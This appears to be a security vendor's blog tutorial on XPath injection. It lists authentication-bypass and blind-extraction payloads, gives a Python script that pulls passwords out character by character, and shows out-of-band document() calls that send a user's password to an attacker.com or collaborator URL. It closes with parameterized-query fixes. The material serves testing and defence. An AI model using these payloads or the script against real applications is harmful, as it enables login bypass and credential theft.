XPath Injection Testing: XML Database Attacks and Blind Exfiltration

XPath injection is the XML-world equivalent of SQL injection. Where SQL injection targets relational databases, XPath injection targets applications that use XML documents as their data store — or that construct XPath queries dynamically from user input. The attack is less common than SQLi but shares its fundamental flaw: concatenating user input directly into query strings without parameterization.

XPath injection is particularly prevalent in applications built around LDAP-connected systems, SOAP web services, configuration management tools, and legacy enterprise systems that rely on XML data stores. This guide covers identification, exploitation, and blind extraction techniques.

When XPath Injection Occurs

XPath injection requires two conditions: the application stores or queries data using XML, and user input is concatenated into an XPath query string. The most common locations:

Application Pattern Typical Vulnerable Query
XML-based authentication //users/user[username='INPUT' and password='INPUT']
XML product catalog //products/product[name='INPUT']
SOAP/XML web service search //records/record[id='INPUT']
XML configuration queries //config/setting[@name='INPUT']
Report/template engines Dynamic XPath in XSLT transformations

Authentication Bypass via XPath Injection

The most impactful XPath injection is authentication bypass — the XPath equivalent of ' OR '1'='1 in SQL. Given a login query:

string query = "//users/user[username='" + username + "' and password='" + password + "']";

Injecting into the username field with:

' or '1'='1
' or 1=1 or 'a'='b
admin' or '1'='1

Produces:

//users/user[username='' or '1'='1' and password='anything']

This returns all user nodes (since '1'='1' is always true), authenticating as the first user in the XML file — typically an administrator.

Authentication bypass payload variants ' or 1=1 or 'x'='y — basic bypass
admin']%00 — null byte to truncate the query (language-dependent)
' or string-length(//user[1]/password)>0 or 'a'='b — conditional bypass

Testing Authentication Bypass

# Test authentication bypass payloads in username and password fields
# Payload 1: Classic OR bypass
username: ' or '1'='1
password: anything

# Payload 2: Bypass with comment-style truncation (not all XPath parsers support this)
username: admin'or'1'='1
password: anything

# Payload 3: Target specific user by position
username: ' or position()=1 or 'x'='y
password: anything

# Burp Suite: send to Intruder with authentication bypass wordlist
# Check for responses that differ from normal failed login:
# - Different HTTP status code
# - Different response length
# - Redirect to authenticated area
# - Different error message

Detecting XPath Injection

Error-Based Detection

XPath parser errors often appear verbatim in response bodies, making detection straightforward. Inject characters that break XPath syntax:

# Syntax-breaking characters for XPath error detection
'           # Unmatched single quote
"           # Unmatched double quote
'or'        # String operator test
1/0         # Division by zero (in some implementations)
]]          # Invalid bracket closure
//          # Path separator in unexpected position

# Look for error messages containing:
# "XPath", "XPathException", "javax.xml.xpath", "System.Xml.XPath"
# "Invalid XPath expression", "XPathSyntaxException"
# Stack traces with XPath library names

Boolean-Based Detection (Blind)

When errors are suppressed, use Boolean-based probing — inject conditions that are always true or always false and observe behavioral differences:

# Inject into a parameter that normally returns one record
# Always-true condition — should return normal result
parameter: validvalue' or '1'='1

# Always-false condition — should return empty/different result
parameter: validvalue' and '1'='2

# If the application returns different results for true vs false:
# XPath injection is confirmed even without error messages

# Example: product search
# Normal: GET /products?name=Widget → returns Widget
# True:   GET /products?name=Widget' or '1'='1 → returns ALL products (or first)
# False:  GET /products?name=Widget' and '1'='2 → returns nothing

Blind XPath Injection: Data Extraction

Blind XPath injection extracts data from the XML document character by character using Boolean conditions — the same principle as blind SQL injection. The key XPath functions:

XPath Function Use Example
string-length() Get string length string-length(//user[1]/password)
substring() Extract substring substring(//user[1]/password,1,1)
count() Count nodes count(//user)
name() Get node name name(//node()[1])
contains() String containment contains(//user[1]/role,'admin')
normalize-space() Trim whitespace normalize-space(//user[1]/email)

Enumerating the XML Structure

Before extracting values, map the XML document structure:

# Count how many top-level nodes exist under root
# Inject into a Boolean-based vector:
' or count(/*)=1 or 'x'='y   → true/false
' or count(/*)=2 or 'x'='y   → true/false
# Binary search to find the count efficiently

# Get the name of the root element
' or substring(name(/*[1]),1,1)='a' or 'x'='y  → is first char of root 'a'?
' or substring(name(/*[1]),1,1)='b' or 'x'='y  → is first char of root 'b'?
# Iterate through charset

# Enumerate child nodes
' or count(/*[1]/*)=1 or 'x'='y  → how many children does root have?
' or name(/*[1]/*[1])='users' or 'x'='y  → is first child named 'users'?

Extracting Data Values

# Count users
' or count(//users/user)=1 or 'x'='y

# Get length of first user's password
' or string-length(//users/user[1]/password)=8 or 'x'='y

# Extract password character by character
' or substring(//users/user[1]/password,1,1)='a' or 'x'='y
' or substring(//users/user[1]/password,2,1)='d' or 'x'='y
# Continue until full password extracted

# Extract admin username
' or //users/user[role='admin']/username='administrator' or 'x'='y

# More efficient: use string comparison for binary search
' or substring(//users/user[1]/password,1,1) > 'm' or 'x'='y
# Narrows down character in log2(n) queries instead of linear scan

Automating Blind XPath Extraction

Manual character-by-character extraction is slow. Automate it with a custom script or modified SQLMap configurations:

#!/usr/bin/env python3
import requests
import string

TARGET = "https://target.com/search"
PARAM = "name"
CHARSET = string.printable.strip()

def check(condition):
    """Returns True if condition evaluates to true in XPath"""
    payload = f"' or {condition} or 'x'='y"
    r = requests.get(TARGET, params={PARAM: payload})
    return "Expected True Response" in r.text

def get_length(xpath):
    for i in range(1, 100):
        if check(f"string-length({xpath})={i}"):
            return i
    return 0

def get_string(xpath):
    length = get_length(xpath)
    result = ""
    for pos in range(1, length + 1):
        for char in CHARSET:
            if check(f"substring({xpath},{pos},1)='{char}'"):
                result += char
                break
    return result

# Extract first user's password
password = get_string("//users/user[1]/password")
print(f"Password: {password}")

Out-of-Band XPath Injection

Some XPath processors support functions that make external network requests, enabling out-of-band data extraction. This is particularly relevant in XSLT-based processing:

# XSLT/XPath document() function — triggers external HTTP request
# (supported in XSLT 1.0 and some XPath 2.0 processors)
document('https://attacker.com/log?data=' || //users/user[1]/password)

# Saxon XPath processor — allows external function calls
# Testing for document() function support:
' or document('https://YOUR_COLLABORATOR/')='' or 'x'='y

# If you receive a DNS/HTTP callback, document() is available
# Build exfiltration via URL parameter:
' or document(concat('https://YOUR_COLLABORATOR/?p=',//user[1]/password))='' or 'x'='y

XPath 2.0 and Advanced Techniques

XPath 2.0 (used by Saxon, BaseX, and modern Java XML processors) introduces additional functions:

# XPath 2.0 tokenization for easier extraction
tokenize(//user[1]/password,'')[1]   # First character

# Regular expression matching (XPath 2.0)
matches(//user[1]/role,'admin','i')  # Case-insensitive role check

# Error-based extraction via type conversion (some implementations)
xs:integer(//user[1]/password)  # Throws error with value if not an integer

# Dynamic evaluation (if supported by processor)
# Some XPath 2.0 processors support xdmp:eval() or similar that enables
# full expression injection beyond Boolean probing

LDAP + XPath Combined Targets

Applications that bridge LDAP directories via XML representations may be vulnerable to both LDAP injection and XPath injection simultaneously. When testing LDAP-backed applications that return XML representations, test XPath injection payloads against any field that appears in query construction.

Preventing XPath Injection

The secure fix is parameterized XPath queries — analogous to prepared statements for SQL. In Java:

// Vulnerable
String xpath = "//users/user[username='" + username + "']";

// Secure — using XPath variables
XPath xPath = XPathFactory.newInstance().newXPath();
SimpleVariableResolver resolver = new SimpleVariableResolver();
resolver.addVariable("username", username);
xPath.setXPathVariableResolver(resolver);
NodeList result = (NodeList) xPath.evaluate(
    "//users/user[username=$username]",
    document,
    XPathConstants.NODESET
);

In Python with lxml:

# Vulnerable
result = tree.xpath(f"//user[username='{username}']")

# Secure — using lxml's Smart Strings / extension elements
result = tree.xpath("//user[username=$username]", username=username)

XPath Injection Testing Checklist

Ironimo uses the same toolset professional pentesters rely on to detect injection vulnerabilities including XPath, SQL, LDAP, and NoSQL injection across all application layers. Automated scanning with expert-grade coverage.

Start free scan
← Back to Blog